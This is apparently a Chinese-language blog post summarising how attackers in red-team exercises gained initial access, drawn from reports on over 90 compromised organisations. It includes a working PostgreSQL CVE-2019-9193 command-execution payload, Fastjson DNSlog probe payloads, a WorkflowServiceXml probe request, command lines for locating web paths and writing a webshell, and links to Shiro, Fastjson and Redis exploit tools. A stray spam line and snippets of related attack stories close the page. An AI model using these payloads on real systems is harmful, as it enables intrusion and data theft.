<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    攻防演練中攻擊方的思考

    VSole2022-08-01 22:58:31

    前言

    本篇文章是攻防演練中攻擊方是如何打開缺口的方法的總結。

    (可能思路狹隘,有缺有錯,師傅們多帶帶)

    本篇文章數據來源于18+省市級別HVV,90+單位失陷報告。(一部分是筆者的參與,一部分是薅的公司其他師傅的報告)思路樸素不包含釣魚和叼炸天的0day

    突破入口點方法統計圖:

    攻防演練中得分項只關注兩點,權限&數據:權限類型分為系統權限和應用權限,權限高低又分為管理員權限和普通用戶權限。數據一般是要四件套,姓名,手機號,身份證,住址。通常敏感數據這樣定義,不過看當前的應用可能敏感信息的定義又會不同,比如醫院系統,病例信息就算是敏感數據。

    根據上述統計結果由高到低選取部分得分方法進行說明。

    弱口令[web應用]

    弱口令是永遠修復不了的漏洞,每場攻防演練都會有弱口令撕開的口子(出現次數29)

    這里討論的是一些web應用的弱口令,不包括統計結果的PostgreSQL/Redis/VPN/Jenkins/Adminer的弱口令。

    說起弱口令那就不得不提爆破的技巧了。爆破前應想辦法繞過驗證碼,部分驗證碼存在不刷新或是有驗證的邏輯錯誤可繞過的情況。通常在忘記密碼處可能會存在用戶名枚舉漏洞。對于用戶名字典,根據當前的系統可猜測為姓名簡稱或是工號ID。也可翻閱當前登錄框的JS正則或是Google信息搜索進行合理猜測。在有大量用戶基數的情況下,通常固定弱口令遍歷用戶名效果最佳。在多次通過SQL注入獲取登錄后臺密碼md5解密后的情況來看,管理員以域名簡稱或是系統簡稱+@年份出現,或是相關的簡稱的密碼概率不小。如:某消防系統/bjtuxfk[xxxx消防科],某婦聯后臺/gzfl@2020。

    好用的字典
    https://github.com/fuzz-security/SuperWordlist
    https://github.com/gh0stkey/Web-Fuzzing-Box
    

    弱口令[其他]

    數據庫弱口令只遇見了PostgreSQL/Redis,其它未遇見可能那些常見使用的數據庫經常使用,剩下的可能連運維都不知道這開著的。

    PostgreSQL(從版本9.3至11.2)任意命令執行漏洞(CVE-2019-9193)
    DROP TABLE IF EXISTS cmd_exec;
    CREATE TABLE cmd_exec(cmd_output text);
    COPY cmd_exec FROM PROGRAM 'whoami';
    SELECT * FROM cmd_exec;
    DROP TABLE IF EXISTS cmd_exec;
    
    Redis

    連上先info查看Server信息[redis版本和OS信息]:

    Redis 4.x/5.x RCE

    https://github.com/Dliv3/redis-rogue-server
    https://github.com/0671/RedisModules-ExecuteCommand-for-Windows
    

    Linux

    寫計劃任務,寫公鑰,寫webshell[知道web路徑]

    Windows

    寫啟動項,寫webshell[知道web路徑]

    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
    https://github.com/r35tart/RedisWriteFile
    

    windows說實話沒遇到過,權限夠了,先寫啟動項,再想辦法給它干重啟[YY的沒打過QAQ]

    這兩篇windows&redis蠻細的:

    https://xz.aliyun.com/t/8153
    https://xz.aliyun.com/t/7940
    
    VPN弱口令

    如果是WebVPN的話,用戶基數大,可以固定弱口令按照學號工號ID爆破。案例中的VPN弱口令是一個客戶端,需要下載,密碼不像是試出來的,更像是從Google/Git信息泄露,或是知道該員工的手機號扔進褲子里,根據里面的信息拼湊出來的[個人猜測]。

    Jenkins弱口令

    后臺腳本命令行可執行命令,LOLBAS下載執行沒啥說的。

    Adminer弱口令

    mysql寫webshell也沒啥說的。

    shiro反序列化

    shiro永遠的神!沒有shiro我都不知道怎么日站了(出現次數28)

    這兩年來shiro反序列化可謂是攻防演練中的漏洞利用之首,無論是公司自研的資產收集平臺還是git上優秀的項目ShuiZe等等都帶著shiro指紋的識別。專找目標的shiro也很簡單,目標發散到域名發散到子域名發散到IP到全端口,將這些URL導入shiro識別工具。再跑key,再利用。統計的28個shiro中有27個通過OneforAll或是FoFa等方式收集,其中有一個shiro在微信公眾號中找到的。

    好用的tools:

    https://github.com/pmiaowu/BurpShiroPassiveScan
    https://github.com/wyzxxz/shiro_rce_tool
    https://github.com/j1anFen/shiro_attack
    

    任意文件上傳[通用]

    樸實無華(出現次數10)

    一般情況下拿shell最快的方法就是找上傳,我們應該快速驗證上傳是否是基于后端的白名單校驗。如果是后端的白名單校驗,在沒有解析漏洞或是其它漏洞的組合下,我們應該放棄該接口。需要注意的是我們在上傳文件判斷黑白名單時,上傳的文件內容最好是無害的,否則可能會WAF干擾。我們一定要清楚該次上傳失敗是因為程序本身的限制還是WAF的阻攔。切忌對upload接口fuzz,雷聲大雨點小。

    值得一提的是在統計的10次上傳中,有一次在微信小程序,有一個swagger信息泄露upload接口,有一次在某銀行的在線聊天系統,點擊人工時,會出現傳圖片的按鈕。

    客服系統:

    還有一個案例:

    進入后臺通過Kindeditor文件上傳,又通過XXXX進行文件管理,有重命名功能,改為.php。getshell。

    文件上傳繞WAF的本質就是服務器與WAF對數據包解析的差異性,下面提供幾個畸形數據包:

    Fastjson反序列化

    也好用(出現次數6)

    判斷是否為fastjson:報錯拋出異常或是DNSlog

    {"rand1":{"@type":"java.net.InetAddress","val":"gbi7ge.dnslog.cn"}}
    {"rand2":{"@type":"java.net.Inet4Address","val":"gbi7ge.dnslog.cn"}}
    {"rand3":{"@type":"java.net.Inet6Address","val":"gbi7ge.dnslog.cn"}}
    

    遇見WAF:

    hex編碼或是\b:

    詳見:

    https://www.sec-in.com/article/950
    https://xz.aliyun.com/t/7568
    

    好用的tools:

    https://github.com/pmiaowu/BurpFastJsonScan
    https://github.com/wyzxxz/fastjson_rce_tool
    https://github.com/feihong-cs/JNDIExploit
    

    敏感信息泄露

    蒼蠅再小也是肉(出現次數5)

    醫院啊,這個比較多遇見的案例都是微信公眾號或是小程序,遍歷病例數據:

    還遇見了swagger信息泄露構造接口查詢:

    UEditor1.4.3任意文件上傳

    出其不意(出現次數5)

    當遇見.NET的網站時,右鍵查看圖片URL為~/ueditor~/upload/image/[20200101]這種年月格式/25位數字.png,就可以判斷該站點使用了UEditor[直接目錄掃描工具掃也行],就需要我們拼接出路徑~/net/controller.ashx

    ~前面可能不太固定需要自己在JS里找信息,或是合理猜測。

    提一嘴,之前遇見個站點.png?.aspx,站點返回了404,可以直接.png.aspx,同時UEditor有過濾?的特性,在有WAF的時候可酌情使用。

    MSSQL堆疊注入

    基操

    --os-shell后,得到一個命令行,一般是certutil下載執行或是powershell直接上線。也可寫入webshell:

    找靜態資源定位物理路徑
    for /r C:\ %i in (*xxx*) do @echo %i
    dir /s/a-d/b C:\*xxx.xxx
    echo ^<一句話^> >C:\phpstudy_pro\WWW\shell.txt
    <>注意使用^轉義
    

    OA系統

    沒啥說的,有0day砸0day

    泛*OA,致*OA,通*OA,用*NC

    github搜搜搜,內部自己有積累未批露利用點最好。

    泛*OA的兩個案例用的WorkflowServiceXml反序列化比較絲滑。

    判斷是否可利用:

    POST /services%20/WorkflowServiceXml HTTP/1.1
    Host: xxxxxx
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
    Accept: */*
    Accept-Encoding: gzip, deflate
    Content-Length: 523
    Content-Type: text/xml;charest=UTF-8
                http://m5alw5.dnslog.cn
                http://m5alw5.dnslog.cn
            2
    

    雜七雜八

    胡言亂語

    SQL注入獲取敏感數據感覺沒啥提的,記得sqlmap加上參數random-agent。

    S2在外網見的少了,也不知道大佬咋翻墻進去的。

    歷史遺留后門404.jsp成了入口點也是離譜。

    各種debug信息泄露云key導入行云管家證明權限就OK。

    已經語無倫次了......

    shiro弱口令
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    打進內網以后的過程沒有繼續深入搞,具體原因大家懂的,前期打點,開始的想法是爆破個口令的,口令爆破一圈沒有找到有用的賬戶
    最近客戶開始hw前的風險排查,讓我們幫他做個滲透測試
    shiro打點獲取10段服務器權限,在10段機器出網且已上線cs;172段不出網且反向不通10段,已通過mysql口令獲取system權限,存在web服務。
    文章中所涉及漏洞已交給相關漏洞平臺1、起因日常閑逛,翻到了某后臺系統先是日常手法操作了一番,口令走起admin/123456 yyds!本來打算批量掃備份拿源碼,但后面發現,github的鏈接就在后臺介紹處。。
    各位師傅勿噴,寫的不好見諒又是吃老板畫餅的一天目標url:xxxx.info(非法站點)目前這套ui看見過很多套了,有的是tp框架有的shiro日常掃描器工作時間到,打開tp掃描器掃了一遍tp漏洞無果,這是為什么呢前臺爆破無果,我本來想釣魚下客服,但客服不跟領導一樣摸魚高手老規矩掃掃端口:這玩意還掛cdn不講武德了ip還這么多,當我翻著翻著的時候發現這些ip有一個開著ssh的這不就有路子來了嗎,先
    System權限是在數據庫中,為了方便接下來的滲透,思路是將System權限上線到CobaltStrike上,在此處執行了從自己的VPS上下載免殺木馬并執行的操作,顯示執行成功,但并未上線。猜測這是臺阿里云的ECS,對出站端口進行了限制,所以反彈不回來。這樣才算是完全控制了這臺云服務器。于是重新生成了木馬,再次在Navicat里執行,它居然上線了!
    針對某高校的滲透測試
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类